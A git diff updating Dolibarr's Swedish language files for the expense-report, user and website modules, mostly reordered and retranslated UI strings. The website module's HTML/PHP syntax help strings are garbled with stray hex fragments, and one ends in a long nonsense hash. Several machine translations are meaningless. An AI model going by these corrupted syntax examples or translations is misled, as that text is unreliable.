      Klicka här för att visa kostnadsrapporten: %s +ExpenseReportConstraintViolationError=Maxbeloppet har överskridits (regel %s): %s är högre än %s (överskridande förbjudet) +ExpenseReportConstraintViolationWarning=Maxbeloppet har överskridits (regel %s): %s är högre än %s (överskrider behörighet) +ExpenseReportDateEnd=Slutdatum +ExpenseReportDateStart=Startdatum +ExpenseReportDomain=Domän att ansöka +ExpenseReportIkDesc=Du kan ändra beräkningen av kilometerkostnaden efter kategori och intervall som de tidigare definierats. d är avståndet i kilometer +ExpenseReportLimitAmount=Maxbelopp +ExpenseReportLimitOn=Begränsa på +ExpenseReportLine=Kostnadsrapportsrad +ExpenseReportPaid=En kostnadsrapport utbetalades +ExpenseReportPaidMessage=Kostnadsrapporten %s betalades.
      - Användare: %s
      - Betald av: %s
      Klicka här för att visa kostnadsrapporten: %s +ExpenseReportPayment=Kostnadsrapportsbetalning +ExpenseReportRef=Ref. kostnads rapport +ExpenseReportRefused=En kostnadsrapport nekades +ExpenseReportRefusedMessage=Kostnadsrapporten %s nekades.
      - Användare: %s
      - Nekad av: %s
      - Motiv för vägran: %s
      Klicka här för att visa kostnadsrapporten: %s +ExpenseReportRestrictive=Överskridande förbjudet +ExpenseReportRuleErrorOnSave=Fel: %s +ExpenseReportRuleSave=Kostnadsrapportregeln sparades +ExpenseReportRulesDesc=Du kan definiera maxbeloppsregler för utgiftsrapporter. Dessa regler kommer att tillämpas när en ny utgift läggs till i en utgiftsredovisning ExpenseReportWaitingForApproval=En ny kostnadsrapport har skickats in för godkännande ExpenseReportWaitingForApprovalMessage=En ny kostnadsrapport har skickats in och väntar på godkännande.
      - Användare: %s
      - Period: %s
      Klicka här för att bekräfta: %s ExpenseReportWaitingForReApproval=En kostnadsrapport har lämnats in för omprövning ExpenseReportWaitingForReApprovalMessage=En kostnadsrapport har skickats in och väntar på omprövning.
      %s, du vägrade att godkänna kostnadsrapporten av den anledningen: %s.
      En ny version har föreslagits och väntar på ditt godkännande.
      - Användare: %s
      - Period: %s
      Klicka här för att godkänna: %s -ExpenseReportApproved=En kostnadsrapport godkändes -ExpenseReportApprovedMessage=Kostnadsrapporten %s godkändes.
      - Användare: %s
      - Godkänd av: %s
      Klicka här för att visa kostnadsrapporten: %s -ExpenseReportRefused=En kostnadsrapport nekades -ExpenseReportRefusedMessage=Kostnadsrapporten %s nekades.
      - Användare: %s
      - Nekad av: %s
      - Motiv för vägran: %s
      Klicka här för att visa kostnadsrapporten: %s -ExpenseReportCanceled=En kostnadsrapport annullerades -ExpenseReportCanceledMessage=Kostnadsrapporten %s avbröts.
      - Användare: %s
      - Avbrytad av: %s
      - Motiv för avbokning: %s
      Klicka här för att visa kostnadsrapporten: %s -ExpenseReportPaid=En kostnadsrapport utbetalades -ExpenseReportPaidMessage=Kostnadsrapporten %s betalades.
      - Användare: %s
      - Betald av: %s
      Klicka här för att visa kostnadsrapporten: %s -TripId=ID utgiftsrapport -AnyOtherInThisListCanValidate=Person som ska informeras för att validera begäran. -TripSociete=Informationsföretag -TripNDF=Informationsutgiftsrapport -PDFStandardExpenseReports=Standardmall för att skapa ett PDF-dokument för kostnadsrapport -ExpenseReportLine=Kostnadsrapportsrad -TF_OTHER=Andra -TF_TRIP=Transport -TF_LUNCH=Lunch -TF_METRO=Metro -TF_TRAIN=Tåg -TF_BUS=Buss -TF_CAR=Bil -TF_PEAGE=Vägtull -TF_ESSENCE=Bränsle -TF_HOTEL=Hotell -TF_TAXI=Taxi -EX_KME=Milkostnader -EX_FUE=Bränsle CV -EX_HOT=Hotell -EX_PAR=Parkering CV -EX_TOL=Toll CV -EX_TAX=Olika skatter -EX_IND=Skydd för ersättning för ersättning -EX_SUM=Underhållstillförsel -EX_SUO=Kontorsmaterial -EX_CAR=Biluthyrning -EX_DOC=Dokumentation -EX_CUR=Kunder som tar emot -EX_OTR=Andra mottagande -EX_POS=Porto -EX_CAM=CV underhåll och reparation -EX_EMM=Anställda måltid -EX_GUM=Gäster måltid -EX_BRE=Frukost -EX_FUE_VP=Bränsle PV -EX_TOL_VP=Toll PV -EX_PAR_VP=Parkering PV -EX_CAM_VP=PV underhåll och reparation -DefaultCategoryCar=Standard transportläge -DefaultRangeNumber=Standardintervallnummer -UploadANewFileNow=Ladda upp ett nytt dokument nu -Error_EXPENSEREPORT_ADDON_NotDefined=Fel, regeln för utläggsrapportsnummereringsref definierades inte i inställningen av modulen "Utläggsrapport" -ErrorDoubleDeclaration=Du har lämnat en annan kostnadsrapport inom samma datumintervall. -AucuneLigne=Det finns ingen kostnadsrapport som deklarerats än -ModePaiement=Betalningssätt -VALIDATOR=Användare ansvarig för godkännande -VALIDOR=Godkänd av -AUTHOR=Inspelad av -AUTHORPAIEMENT=Betalad av -REFUSEUR=Nekad av -CANCEL_USER=Släckt av -MOTIF_REFUS=Orsak -MOTIF_CANCEL=Orsak -DATE_REFUS=Neka datum -DATE_SAVE=Bekräftelsesdatum -DATE_CANCEL=Avbokningsdatum -DATE_PAIEMENT=Betalningsdag -ExpenseReportRef=Ref. kostnads rapport -ValidateAndSubmit=Bekräfta och lämna in för godkännande -ValidatedWaitingApproval=Bekräftat (väntar på godkännande) -NOT_AUTHOR=Du är inte författaren till denna kostnadsrapport. Drift avbruten. -ConfirmRefuseTrip=Är du säker på att du vill neka denna kostnadsrapport? -ValideTrip=Godkänn kostnadsrapport -ConfirmValideTrip=Är du säker på att du vill godkänna denna kostnadsrapport? -PaidTrip=Betala en kostnadsrapport -ConfirmPaidTrip=Är du säker på att du vill ändra status för denna kostnadsrapport till "Betald"? -ConfirmCancelTrip=Är du säker på att du vill avbryta denna kostnadsrapport? -BrouillonnerTrip=Flytta tillbaka kostnadsrapport till status "Draft" -ConfirmBrouillonnerTrip=Är du säker på att du vill flytta denna kostnadsrapport till status "Draft"? -SaveTrip=Bekräft kostnadsrapport -ConfirmSaveTrip=Är du säker på att du vill bekräfta denna kostnadsrapport? -NoTripsToExportCSV=Ingen kostnadsrapport att exportera för denna period. -ExpenseReportPayment=Kostnadsrapportsbetalning -ExpenseReportsToApprove=Rapporter att godkänna -ExpenseReportsToPay=Kostnad rapporterar att betala -ConfirmCloneExpenseReport=Är du säker på att du vill klona denna kostnadsrapport? ExpenseReportsIk=Konfiguration av körsträcka ExpenseReportsRules=Kostnadsrapporteringsregler -ExpenseReportIkDesc=Du kan ändra beräkningen av kilometerkostnaden efter kategori och intervall som de tidigare definierats. d är avståndet i kilometer -ExpenseReportRulesDesc=You can define max amount rules for expense reports. These rules will be applied when a new expense is added to an expense report -expenseReportOffset=Offset -expenseReportCoef=Koefficient -expenseReportTotalForFive=Exempel med d = 5 -expenseReportRangeFromTo=från %d till %d -expenseReportRangeMoreThan=mer än %d -expenseReportCoefUndefined=(värde ej definierat) -expenseReportCatDisabled=Kategori inaktiverad - se ordboken c_exp_tax_cat -expenseReportRangeDisabled=Område inaktiverat - se c_exp_tax_range dictionay -expenseReportPrintExample=offset + (dx coef) = %s -ExpenseReportApplyTo=Ansöka till -ExpenseReportDomain=Domän att ansöka -ExpenseReportLimitOn=Begränsa på -ExpenseReportDateStart=Startdatum -ExpenseReportDateEnd=Slutdatum -ExpenseReportLimitAmount=Max amount -ExpenseReportRestrictive=Exceeding forbidden -AllExpenseReport=All typ av kostnadsrapport -OnExpense=Utläggsrad -ExpenseReportRuleSave=Kostnadsrapportregeln sparades -ExpenseReportRuleErrorOnSave=Fel: %s -RangeNum=Område %d -ExpenseReportConstraintViolationError=Max amount exceeded (rule %s): %s is higher than %s (Exceeding forbidden) -byEX_DAY=dag (begränsning till %s) -byEX_MON=per månad (begränsning till %s) -byEX_YEA=per år (begränsning till %s) -byEX_EXP=för rad (begränsning till %s) -ExpenseReportConstraintViolationWarning=Max amount exceeded (rule %s): %s is higher than %s (Exceeding authorized) +ExpenseReportsToApprove=Rapporter att godkänna +ExpenseReportsToPay=Kostnad rapporterar att betala +ExpensesArea=Kostnadsrapporteringsområde +FeesKilometersOrAmout=Belopp eller kilometer +LastExpenseReports=Senaste %s kostnadsrapporter +ListOfFees=Prislista för +ListOfTrips=Förteckning över kostnadsrapporter +ListToApprove=Väntar på godkännande +ListTripsAndExpenses=Förteckning över kostnadsrapporter +MOTIF_CANCEL=Orsak +MOTIF_REFUS=Orsak +ModePaiement=Betalningssätt +NewTrip=Ny kostnadsrapport nolimitbyEX_DAY=om dagen (ingen begränsning) +nolimitbyEX_EXP=efter rad (ingen begränsning) nolimitbyEX_MON=per månad (ingen begränsning) nolimitbyEX_YEA=per år (ingen begränsning) -nolimitbyEX_EXP=efter rad (ingen begränsning) -CarCategory=Fordonskategori -ExpenseRangeOffset=Förskjutningsbelopp: %s +NoTripsToExportCSV=Ingen kostnadsrapport att exportera för denna period. +NOT_AUTHOR=Du är inte författaren till denna kostnadsrapport. Drift avbruten. +OnExpense=Utläggsrad +PDFStandardExpenseReports=Standardmall för att skapa ett PDF-dokument för kostnadsrapport +PaidTrip=Betala en kostnadsrapport +REFUSEUR=Nekad av RangeIk=Mileage range -AttachTheNewLineToTheDocument=Bifoga raden till ett uppladdat dokument +RangeNum=Område %d +SaveTrip=Bekräft kostnadsrapport +ShowExpenseReport=Visa kostnadsrapport +ShowTrip=Visa kostnadsrapport +TripCard=Kostnadsrapport +TripId=ID utgiftsrapport +TripNDF=Informationsutgiftsrapport +TripSociete=Informationsföretag +Trips=Räkningar +TripsAndExpenses=Kostnadsrapporter +TripsAndExpensesStatistics=Kostnadsrapporteringsstatistik +TypeFees=Typer av avgifter +UploadANewFileNow=Ladda upp ett nytt dokument nu +VALIDATOR=Användare ansvarig för godkännande +VALIDOR=Godkänd av +ValidateAndSubmit=Bekräfta och lämna in för godkännande +ValidatedWaitingApproval=Bekräftat (väntar på godkännande) +ValideTrip=Godkänn kostnadsrapport + +## Dictionary +EX_BRE=Frukost +EX_CAM=CV underhåll och reparation +EX_CAM_VP=PV underhåll och reparation +EX_CAR=Biluthyrning +EX_CUR=Kunder som tar emot +EX_DOC=Dokumentation +EX_EMM=Anställda måltid +EX_FUE=Bränsle CV +EX_FUE_VP=Bränsle PV +EX_GUM=Gäster måltid +EX_HOT=Hotell +EX_IND=Skydd för ersättning för ersättning +EX_KME=Milkostnader +EX_OTR=Andra mottagande +EX_PAR=Parkering CV +EX_PAR_VP=Parkering PV +EX_POS=Porto +EX_SUM=Underhållstillförsel +EX_SUO=Kontorsmaterial +EX_TAX=Olika skatter +EX_TOL=Toll CV +EX_TOL_VP=Toll PV +TF_BUS=Buss +TF_CAR=Bil +TF_ESSENCE=Bränsle +TF_HOTEL=Hotell +TF_LUNCH=Lunch +TF_METRO=Metro +TF_OTHER=Andra +TF_PEAGE=Vägtull +TF_TAXI=Taxi +TF_TRAIN=Tåg +TF_TRIP=Transport diff --git a/htdocs/langs/sv_SE/users.lang b/htdocs/langs/sv_SE/users.lang index c510dbebff2..aafb6448d47 100644 --- a/htdocs/langs/sv_SE/users.lang +++ b/htdocs/langs/sv_SE/users.lang @@ -1,130 +1,134 @@ # Dolibarr language file - Source file is en_US - users HRMArea=HRM område UserCard=Användarkort -GroupCard=Grupp kort -Permission=Behörighet -Permissions=Behörigheter +GroupCard=Gruppkort +Permission=Rättighet +Permissions=Rättigheter EditPassword=Ändra lösenord -SendNewPassword=Regenerera och skicka lösenord -SendNewPasswordLink=Skicka åters.länk för lösenordet +SendNewPassword=Skapa och skicka lösenord +SendNewPasswordLink=Skicka länk för återställning av lösenordet ReinitPassword=Regenerera lösenord PasswordChangedTo=Lösenord ändras till: %s SubjectNewPassword=Ditt nya lösenord för %s -GroupRights=Gruppbehörigheter -UserRights=Användarbehörighet -Credentials=Referenser -UserGUISetup=Användarskärmsinställning +GroupRights=Grupprättigheter +UserRights=Användarrättighet +Credentials=Inloggningsuppgifter +UserGUISetup=Inställning användarvyer DisableUser=Inaktivera DisableAUser=Inaktivera en användare -DeleteUser=Ta bort -DeleteAUser=Ta bort en användare +DeleteUser=Radera +DeleteAUser=Radera en användare EnableAUser=Aktivera en användare -DeleteGroup=Ta bort -DeleteAGroup=Ta bort en grupp -ConfirmDisableUser=Är du säker på att du vill inaktivera användaren %s ? -ConfirmDeleteUser=Är du säker på att du vill radera användaren %s ? -ConfirmDeleteGroup=Är du säker på att du vill ta bort grupp %s ? -ConfirmEnableUser=Är du säker på att du vill aktivera användaren %s ? -ConfirmReinitPassword=Är du säker på att du vill skapa ett nytt lösenord för användare %s ? -ConfirmSendNewPassword=Är du säker på att du vill skapa och skicka nytt lösenord för användare %s ? +DeleteGroup=Radera +DeleteAGroup=Radera en grupp +ConfirmDisableUser=Är du säker på att du vill inaktivera användaren %s? +ConfirmDeleteUser=Är du säker på att du vill radera användaren %s? +ConfirmDeleteGroup=Är du säker på att du vill radera gruppen %s? +ConfirmEnableUser=Är du säker på att du vill aktivera användaren %s? +ConfirmReinitPassword=Är du säker på att du vill skapa ett nytt lösenord för användaren %s? +ConfirmSendNewPassword=Är du säker på att du vill skapa och skicka nytt lösenord till användaren %s? NewUser=Ny användare CreateUser=Skapa användare -LoginNotDefined=Inloggning är inte definierat. -NameNotDefined=Namn är inte definierad. -ListOfUsers=Lista över användare -SuperAdministrator=Super Administrator -SuperAdministratorDesc=Administratör med alla rättigheter +LoginNotDefined=Inloggningsnamn är inte angivet. +NameNotDefined=Namn är inte angivet. +ListOfUsers=Lista användare +SuperAdministrator=Superadministratör +SuperAdministratorDesc=Global administratör AdministratorDesc=Administratör -DefaultRights=Standardbehörigheter -DefaultRightsDesc=Definiera här standard behörigheter som automatiskt ges till en ny användare (för att ändra behörigheter för befintliga användare, gå till användarkortet). -DolibarrUsers=Dolibarr användare +DefaultRights=Standardrättigheter +DefaultRightsDesc=Ange standardrättigheter som automatiskt tilldelas en ny användare (för att ändra rättigheter för befintliga användare går du till användarkortet). +DolibarrUsers=Dolibarranvändare LastName=Efternamn FirstName=Förnamn -ListOfGroups=Lista över grupper +ListOfGroups=Lista grupper NewGroup=Ny grupp CreateGroup=Skapa grupp RemoveFromGroup=Ta bort från grupp -PasswordChangedAndSentTo=Lösenord ändras och skickas till %s. -PasswordChangeRequest=Begär om ändring av lösenord för %s -PasswordChangeRequestSent=Begäran om att ändra lösenord för %s skickas till %s. -IfLoginExistPasswordRequestSent=Om denna inloggning är ett giltigt konto har ett e-postmeddelande skickats för att återställa lösenordet. -IfEmailExistPasswordRequestSent=Om det här e-postmeddelandet är ett giltigt konto har ett e-postmeddelande skickats för att återställa lösenordet. +PasswordChangedAndSentTo=Lösenord ändras och skickas till %s. +PasswordChangeRequest=Begär ändring av lösenord för %s +PasswordChangeRequestSent=Begäran om att ändra lösenord för %s skickas till %s. +IfLoginExistPasswordRequestSent=Om denna inloggning är ett giltigt konto (med en giltig e-postadress), har ett e-postmeddelande för att återställa lösenordet skickats. +IfEmailExistPasswordRequestSent=Om den här e-postadressen är ett giltigt konto har ett e-postmeddelande skickats för att återställa lösenordet. ConfirmPasswordReset=Bekräfta återställning av lösenord -MenuUsersAndGroups=Användare & grupper +MenuUsersAndGroups=Användare & Grupper LastGroupsCreated=Senaste %s grupper skapade LastUsersCreated=Senaste %s användare skapade ShowGroup=Visa grupp ShowUser=Visa användare -NonAffectedUsers=Icke drabbade användare -UserModified=Användare ändrades korrekt -PhotoFile=Bildfilen +NonAffectedUsers=Otilldelade användare +UserModified=Användare har uppdaterats +PhotoFile=Bildfil ListOfUsersInGroup=Lista över användare i denna grupp ListOfGroupsForUser=Lista över grupper för denna användare -LinkToCompanyContact=Länk till tredje part / kontakt +LinkToCompanyContact=Länk till tredjepart/kontakt LinkedToDolibarrMember=Länk till medlem LinkedToDolibarrUser=Länk till användare LinkedToDolibarrThirdParty=Länk till tredjepart -CreateDolibarrLogin=Skapa en användare -CreateDolibarrThirdParty=Skapa en tredje part -LoginAccountDisableInDolibarr=Konto funktionshindrade i Dolibarr. -UsePersonalValue=Använd personlig värde -InternalUser=Intern användare -ExportDataset_user_1=Användare och deras egenskaper -DomainUser=Domän användare %s +CreateDolibarrLogin=Skapa användare +CreateDolibarrThirdParty=Skapa tredjepart +LoginAccountDisableInDolibarr=Kontot inaktiverat i Dolibarr +PASSWORDInDolibarr=Lösenordet ändrat i Dolibarr +UsePersonalValue=Använd personligt värde +ExportDataset_user_1=Användare och egenskaper +DomainUser=Domänanvändare %s Reactivate=Återaktivera -CreateInternalUserDesc=I det här formuläret kan du skapa en intern användare i ditt företag / organisation. För att skapa en extern användare (kund, leverantör etc.), använd knappen "Create Dolibarr User" från den tredje partens kontaktkort. -InternalExternalDesc=En intern -användare är en användare som ingår i ditt företag / organisation, eller är en partneranvändare utanför din organisation som kan behöva se mer data än data relaterade till sitt företag (tillståndssystemet definierar vad han kan eller kan inte se eller göra).
      En extern användare är en kund, leverantör eller annan som måste se ENDAST data relaterade till sig själv (Skapa en extern användare för en tredje part kan göras från tredjeparts kontaktposter).

      I båda fallen måste du bevilja behörighet för de funktioner som användaren behöver. -PermissionInheritedFromAGroup=Tillstånd beviljas, eftersom ärvt från en av en användares grupp. +CreateInternalUserDesc=I det här formuläret kan du skapa en intern användare i ditt företag/organisation. För att skapa en extern användare (kund, leverantör etc.) använder du knappen "Skapa användare" från tredjepartens kontaktkort. +InternalExternalDesc=En intern användare är en användare som ingår i ditt företag/organisation, eller är en partneranvändare utanför din organisation som kan behöva se mer data än den kopplat till deras företag (rättighetssystemet definierar vad hen kan eller kan inte se eller göra).
      En extern användare är en kund, leverantör eller annan som bara får se ENDAST data kopplad till sig själv. Skapa en extern användare för en tredjepart kan göras från tredjeparts kontaktkort.

      I båda fallen måste du bevilja behörighet för de funktioner som användaren behöver. +PermissionInheritedFromAGroup=Tillstånd beviljas då det är ärvt från en av användarens grupper. Inherited=Ärvda UserWillBe=Skapad användare kommer att vara -UserWillBeInternalUser=Skapad användare kommer att vara en intern användare (eftersom inte kopplade till en viss tredje part) -UserWillBeExternalUser=Skapad användare kommer att vara en extern användare (eftersom kopplat till en viss tredje part) -IdPhoneCaller=Id telefonen ringer -NewUserCreated=Användare %s skapade -NewUserPassword=Ändring av lösenord för %s -NewPasswordValidated=Ditt nya lösenord har validerats och måste användas nu för att logga in. -EventUserModified=Användare %s modifierade -UserDisabled=Användare %s funktionshindrade -UserEnabled=Användare %s aktiverad -UserDeleted=Användare %s bort -NewGroupCreated=Grupp %s skapade -GroupModified=Grupp% s modifierade -GroupDeleted=Grupp %s bort -ConfirmCreateContact=Är du säker på att du vill skapa ett Dolibarr-konto för den här kontakten? -ConfirmCreateLogin=Är du säker på att du vill skapa ett Dolibarr-konto för den här medlemmen? -ConfirmCreateThirdParty=Är du säker på att du vill skapa en tredje part för den här medlemmen? +UserWillBeInternalUser=Skapad användare kommer att vara en intern användare (eftersom den inte är kopplad till en viss tredjepart) +UserWillBeExternalUser=Skapad användare kommer att vara en extern användare (eftersom den är kopplad till en viss tredjepart) +IdPhoneCaller=Nummerpresentation +NewUserCreated=Användaren %s skapad +NewUserPassword=Lösenord ändrat för %s +NewPasswordValidated=Ditt nya lösenord har bekräftats och kan nu användas för att logga in. +EventUserModified=Användaren %s ändrades +UserDisabled=Användaren %s inaktiverad +UserEnabled=Användaren %s aktiverad +UserDeleted=Användaren %s raderad +NewGroupCreated=Gruppen %s skapades +GroupModified=Gruppen %s ändrades +GroupDeleted=Gruppen %s raderades +ConfirmCreateContact=Är du säker på att du vill skapa ett konto för den här kontakten? +ConfirmCreateLogin=Är du säker på att du vill skapa ett konto för den här medlemmen? +ConfirmCreateThirdParty=Är du säker på att du vill skapa en tredjepart för den här medlemmen? LoginToCreate=Logga in för att skapa -NameToCreate=Namn på tredje part för att skapa -YourRole=Din roller +NameToCreate=Namn på tredjepart för att skapa +YourRole=Dina roller YourQuotaOfUsersIsReached=Din kvot på aktiva användare är nådd! NbOfUsers=Antal användare -NbOfPermissions=Antal behörigheter -DontDowngradeSuperAdmin=Endast en SuperAdmin kan nedgradera en SuperAdmin +NbOfPermissions=Antal rättigheter +DontDowngradeSuperAdmin=Endast en SuperAdmin kan nedgradera en annan SuperAdmin HierarchicalResponsible=Handledare HierarchicView=Hierarkisk vy -UseTypeFieldToChange=Använd fält Typ för att ändra +UseTypeFieldToChange=Använd fältet "typ" för att ändra OpenIDURL=OpenID URL LoginUsingOpenID=Logga in med OpenID -WeeklyHours=Timmar arbetade (per vecka) -ExpectedWorkedHours=Förväntade arbetade timmar per vecka +WeeklyHours=Arbetade timmar (per vecka) +ExpectedWorkedHours=Förväntad arbetstid per vecka ColorUser=Färg på användaren DisabledInMonoUserMode=Inaktiverad i underhållsläge -UserAccountancyCode=Användarkonto -UserLogoff=Användarutloggning +UserAccountancyCode=Användares bokföringskod +UserLogoff=Logga ut användare UserLogged=Användare loggad DateOfEmployment=Anställningsdatum DateEmployment=Sysselsättning -DateEmploymentStart=Employment Start Date +DateEmploymentStart=Anställningens startdatum DateEmploymentEnd=Anställningens slutdatum -RangeOfLoginValidity=Åtkomst giltighetsdatumintervall -CantDisableYourself=Du kan inte inaktivera din egen användarrekord -ForceUserExpenseValidator=Tvinga valideringsrapport för utgiftsrapport -ForceUserHolidayValidator=Tvinga lämningsbegäran -ValidatorIsSupervisorByDefault=Som standard är valideraren användarens övervakare. Håll dig tom för att behålla detta beteende. -UserPersonalEmail=Personlig email +RangeOfLoginValidity=Åtkomstsgiltighet datumintervall +CantDisableYourself=Du kan inte inaktivera din egen användare +ForceUserExpenseValidator=Tvinga bekräftelse för utgiftsrapport +ForceUserHolidayValidator=Tvinga bekräftelse av ledighet +ValidatorIsSupervisorByDefault=Som standard är den som ska bekräfta användarens handledare. Behåll tomt värde för att behålla denna funktion. +UserPersonalEmail=Personlig e-post UserPersonalMobile=Personlig mobiltelefon -WarningNotLangOfInterface=Varning, detta är det huvudspråk som användaren talar, inte språket för gränssnittet han valde att se. För att ändra gränssnittsspråket som visas av den här användaren, gå till fliken %s -DateLastLogin=Date last login -DatePreviousLogin=Date previous login -IPLastLogin=IP last login -IPPreviousLogin=IP previous login +WarningNotLangOfInterface=Varning! Detta är det huvudspråk som användaren talar, inte språket för gränssnittet hen valde att se. För att ändra gränssnittsspråket som visas av den här användaren går du till fliken %s +DateLastLogin=Datum senaste inloggning +DatePreviousLogin=Datum föregående inloggning +IPLastLogin=IP senaste inloggning +IPPreviousLogin=IP föregående inloggning +ShowAllPerms=Visa alla rättighetsrader +HideAllPerms=Dölj alla rättighetsrader +UserPublicPageDesc=Du kan aktivera ett virtuellt kort för den här användaren. En url med användarprofilen och en streckkod kommer att finnas tillgänglig så att alla med en smartphone kan skanna den och lägga till din kontakt i adressboken. +EnablePublicVirtualCard=Aktivera det offentliga virtuella användarkortet diff --git a/htdocs/langs/sv_SE/website.lang b/htdocs/langs/sv_SE/website.lang index 70b9b832adc..af402fed96f 100644 --- a/htdocs/langs/sv_SE/website.lang +++ b/htdocs/langs/sv_SE/website.lang @@ -1,5 +1,6 @@ # Dolibarr language file - Source file is en_US - website Shortname=Kod +WebsiteName=Webbplatsens namn WebsiteSetupDesc=Skapa här de webbplatser du vill använda. Gå sedan till menyn webbplatser för att redigera dem. DeleteWebsite=Ta bort webbplats ConfirmDeleteWebsite=Är du säker på att du vill ta bort den här webbplatsen? Alla sidor och innehåll tas också bort. Filerna som laddas upp (som till mediekatalogen, ECM-modulen, ...) kommer att finnas kvar. @@ -15,9 +16,9 @@ WEBSITE_HTML_HEADER=Tillägg längst ner i HTML-rubrik (vanligt för alla sidor) WEBSITE_ROBOT=Robotfil (robots.txt) WEBSITE_HTACCESS=Webbsida. Htaccess-fil WEBSITE_MANIFEST_JSON=Webbplats manifest.json-fil -WEBSITE_README=README.md-fil WEBSITE_KEYWORDSDesc=Använd ett komma för att separera värden -EnterHereLicenseInformation=Ange här metadata eller licensinformation för att arkivera en README.md-fil. om du distribuerar din webbplats som en mall inkluderas filen i det frestande paketet. +EnterHereReadmeInformation=Ange en beskrivning av webbplatsen. Om du distribuerar din webbplats som en mall kommer filen att inkluderas i temptate-paketet. +EnterHereLicenseInformation=Ange här LICENSEN för koden för webbplatsen. Om du distribuerar din webbplats som en mall kommer filen att inkluderas i temptate-paketet. HtmlHeaderPage=HTML-rubrik (endast för den här sidan) PageNameAliasHelp=Namn eller alias på sidan.
      Detta alias används också för att skapa en SEO-URL när webbplatsen springer från en virtuell värd på en webbserver (som Apacke, Nginx, ...). Använd knappen " %s " för att redigera detta alias. EditTheWebSiteForACommonHeader=Obs! Om du vill definiera en personlig rubrik för alla sidor, redigera rubriken på sidnivån istället för på sidan / behållaren. @@ -42,11 +43,13 @@ ViewPageInNewTab=Visa sida i ny flik SetAsHomePage=Sätt som hemsida RealURL=Verklig URL ViewWebsiteInProduction=Visa webbplats med hjälp av hemadresser -SetHereVirtualHost=Use with Apache/NGinx/...
      Create on your web server (Apache, Nginx, ...) a dedicated Virtual Host with PHP enabled and a Root directory on
      %s +Virtualhost=Virtuell värd eller domännamn +VirtualhostDesc=Namnet på den virtuella värden eller domänen (till exempel: www.mywebsite.com, mybigcompany.net, ...) +SetHereVirtualHost= Use with Apache/NGinx/...
      Create on your web server (Apache, Nginx, ...) a dedicated Virtual Host with PHP enabled and a Root directory on
      %s ExampleToUseInApacheVirtualHostConfig=Exempel att använda i Apache virtuell värdinställning: YouCanAlsoTestWithPHPS=  Använd med PHP-inbäddad server
      På utvecklingsmiljö kan du föredra att testa webbplatsen med PHP-inbäddad webbserver (PHP 5.5 krävs) genom att köra
      php -S 0.0.0.0:8080 -t %s -YouCanAlsoDeployToAnotherWHP= Kör din webbplats med en annan Dolibarr Hosting-leverantör
      Om du inte har en webbserver som Apache eller NGinx tillgänglig på internet kan du exportera och importera din webbplats till en annan Dolibarr-instans som tillhandahålls av en annan Dolibarr-värdleverantör integration med webbplatsmodulen. Du hittar en lista med några Dolibarr-värdleverantörer på https://saas.dolibarr.org -CheckVirtualHostPerms=Check also that the virtual host user (for example www-data) has %s permissions on files into
      %s +YouCanAlsoDeployToAnotherWHP= Kör din webbplats med en annan Dolibarr-värdleverantör
      Om du inte har en webbserver som Apache eller NGinx tillgänglig på internet, kan du exportera och importera din webbplats till en annan Dolibarr-instans som tillhandahåller en annan Dolibarr-instans som tillhandahåller en komplett värd från Dolibarr. integration med webbplatsmodulen. Du kan hitta en lista över några Dolibarr-värdleverantörer på https://saas.dolibarr.org +CheckVirtualHostPerms=Kontrollera också att den virtuella värdanvändaren (till exempel www-data) har %s -behörigheter för filer till
      %s ReadPerm=Läsa WritePerm=Skriva TestDeployOnWeb=Test / distribuera på webben @@ -59,8 +62,8 @@ SyntaxHelp=Hjälp med specifika syntaxtips YouCanEditHtmlSourceckeditor=Du kan redigera HTML-källkod med knappen "Källa" i redigeraren. YouCanEditHtmlSource=
      Du kan inkludera PHP-kod i den här källan med taggar <? php? > a0a65d071f6fcf Följande globala variabler är tillgängliga: $ conf, $ db, $ mysoc, $ user, $ website, $ websitepage, $ weblangs, $ pagelangs.

      Du kan också inkludera innehållet i en annan sida / behållare med följande syntax:
      a313907? ? >

      Du kan göra en omdirigering till en annan sida / Container med följande syntax (OBS! Inte ut innehållet innan en omdirigering):
      < php redirectToContainer (alias_of_container_to_redirect_to '); ? >

      att lägga till en länk till en annan sida använder syntax:
      <a href = "alias_of_page_to_link_to.php" >mylink<a>

      att inkludera en länk för att hämta en fil som lagras i dokument -katalog, använd document.php wrapper:
      Exempel, för en fil till dokument / ecm (måste loggas), syntax är: a0342fccfda19b4 ] filename.ext ">

      För en fil till dokument / media (öppen katalog för allmän åtkomst) är syntax:
      a03900df7d "/document.php?modulepart=medias&file= [relative_dir/] filnamn.ext">
      För en fil som delas med en delningslänk (öppen åtkomst med den delande hash-nyckeln för fil) är syntax20 /document.php?hashp=publicsharekeyoffile">


      för att inkludera en bild lagras in i de dokument katalog använder viewimage.php wrapper:
      Exempel, för en bild i dokument / medier (öppna katalog för allmän åtkomst), syntax är:
      <img src = "/ viewimage.php? modulepart = medias&file = [relativ_dir /] filnamn.ext" a012c07 #YouCanEditHtmlSource2=
      To include a image shared publicaly, use the viewimage.php wrapper:
      Example with a shared key 123456789, syntax is:
      <img src="/viewimage.php?hashp=12345679012...">
      -YouCanEditHtmlSource2=For an image shared with a share link (open access using the sharing hash key of file), syntax is:
      <img src="/viewimage.php?hashp=12345679012...">
      -YouCanEditHtmlSourceMore=
      Fler exempel på HTML eller dynamisk kod finns på wiki-dokumentationen
      . +YouCanEditHtmlSource2=För en bild som delas med en delningslänk (öppen åtkomst med hjälp av fildelnings-hash-nyckeln), är syntaxen:
      <img src="/viewimage.php?hashp=120142567...accad09accdf0000142677acccf0001425677acccf0001425677accdf0001426770001426670001426770001256770001256770000000000000000002000 +YouCanEditHtmlSourceMore=
      Fler exempel på HTML eller dynamisk kod finns på wikidokumentationen
